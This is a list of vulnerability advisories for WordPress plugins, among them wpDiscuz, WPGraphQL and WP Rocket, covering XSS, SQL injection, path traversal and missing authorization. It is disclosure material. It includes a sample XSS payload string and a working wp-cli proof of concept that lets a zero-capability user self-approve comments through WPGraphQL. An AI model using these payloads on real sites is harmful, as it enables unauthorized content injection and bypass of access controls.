CVSS v3.1 |
| WordPress Plugin "OpenStreetMap" provided by MiKa contains a cross-site scripting vulnerability. On the site with the affected version of the plugin enabled, a logged-in user with a page-creating/editing privilege can embed some malicious script with a crafted HTTP request. When a victim user accesses this page, the script may be executed in the user's web browser. |
| The Shared Files WordPress plugin before 1.7.58 allows users with a role as low as Contributor to download any file on the web server (such as wp-config.php) via a path traversal vector |
| The Responsive Plus WordPress plugin before 3.4.3 is vulnerable to arbitrary shortcode execution due to the software allowing unauthenticated users to execute the update_responsive_woo_free_shipping_left_shortcode AJAX action that does not properly validate the content_rech_data parameter before processing it as a shortcode. |
| The WP Lightbox 2 WordPress plugin before 3.0.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). |
| The LeadConnector WordPress plugin before 3.0.22 does not have authorization in a REST route, allowing unauthenticated users to call it and overwrite existing data |
| wpDiscuz before 7.6.47 contains a cross-site scripting vulnerability in the customCss field that allows administrators to inject malicious scripts by breaking out of style tags. Attackers with admin access can inject payloads like </style><script>alert(1)</script> in the custom CSS setting to execute arbitrary JavaScript in user browsers. |
| WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.
### Details
In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).
This means a non-moderator owner can submit status during update and transition moderation state.
### PoC
Tested in local wp-env (Docker) with WPGraphQL 2.9.1.
1. Start environment:
npm install
npm run wp-env start
2. Run this PoC:
```
npm run wp-env run cli -- wp eval '
add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps");
if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");
}
$user = get_user_by("id",$user_id);
$user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post",
"post_status" => "publish",
"post_type" => "post",
"comment_status" => "open",
]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id,
"comment_content" => "pending comment",
"user_id" => $user_id,
"comment_author" => $user->display_name,
"comment_author_email" => $user->user_email,
"comment_approved" => "0",
]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)),
"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
"comment_id" => $comment_id
]);
'
```
3. Observe result:
- role_caps is empty (or no moderate_comments)
- mutation returns status: APPROVE
- DB value becomes comment_approved = 1
### Impact
This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content. |
| The trx_addons WordPress plugin before 2.38.5 does not correctly validate file types in one of its AJAX action, allowing unauthenticated users to upload arbitrary file. This is due to an incorrect fix of CVE-2024-13448 |
| Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Tips and Tricks HQ WP eMember allows Reflected XSS.This issue affects WP eMember: from n/a through v10.2.2. |
| Missing Authorization vulnerability in Tips and Tricks HQ WP eMember allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP eMember: from n/a through v10.2.2. |
| Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Media WP Rocket allows Stored XSS.This issue affects WP Rocket: from n/a through 3.19.4. |
| Incorrect Privilege Assignment vulnerability in Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture allows Privilege Escalation.This issue affects Woocommerce Wholesale Lead Capture: from n/a through 2.0.3.1. |
| Unrestricted Upload of File with Dangerous Type vulnerability in Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture allows Using Malicious Files.This issue affects Woocommerce Wholesale Lead Capture: from n/a through 2.0.3.1. |
| The Get Use APIs WordPress plugin before 2.0.10 executes imported JSON, which could allow users with a role as low as contributor to perform Cross-Site Scripting attacks under certain server configurations. |
| Missing Authorization vulnerability in Webnus Inc. Modern Events Calendar allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Modern Events Calendar: from n/a through 7.29.0. |
| wpDiscuz before 7.6.47 contains a shortcode injection vulnerability that allows attackers to execute arbitrary shortcodes by including them in comment content sent via email notifications. Attackers can inject shortcodes like [contact-form-7] or [user_meta] in comments, which are executed server-side when the WpdiscuzHelperEmail class processes notifications through do_shortcode() before wp_mail(). |
| wpDiscuz before 7.6.47 contains an unauthenticated denial of service vulnerability that allows anonymous users to trigger mass notification emails by exploiting the checkNotificationType() function. Attackers can repeatedly call the wpdiscuz-ajax.php endpoint with arbitrary postId and comment_id parameters to flood subscribers with notifications, as the handler lacks nonce verification, authentication checks, and rate limiting. |
| wpDiscuz before 7.6.47 contains a stored cross-site scripting vulnerability in the inline comment preview functionality that allows authenticated users to inject malicious scripts by submitting comments with unescaped content. Attackers with unfiltered_html capabilities can inject JavaScript directly through comment content rendered in the AJAX response from the getLastInlineComments() function in class.WpdiscuzHelperAjax.php without proper HTML escaping. |
| wpDiscuz before 7.6.47 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject malicious JavaScript by importing a crafted options file with unescaped customCss field values. Attackers can supply a malicious JSON import file containing script payloads in the customCss parameter that execute on every page when rendered through the options handler without proper sanitization. |
| wpDiscuz before 7.6.47 contains an SQL injection vulnerability in the getAllSubscriptions() function where string parameters lack proper quote escaping in SQL queries. Attackers can inject malicious SQL code through email, activation_key, subscription_date, and imported_from parameters to manipulate database queries and extract sensitive information. |
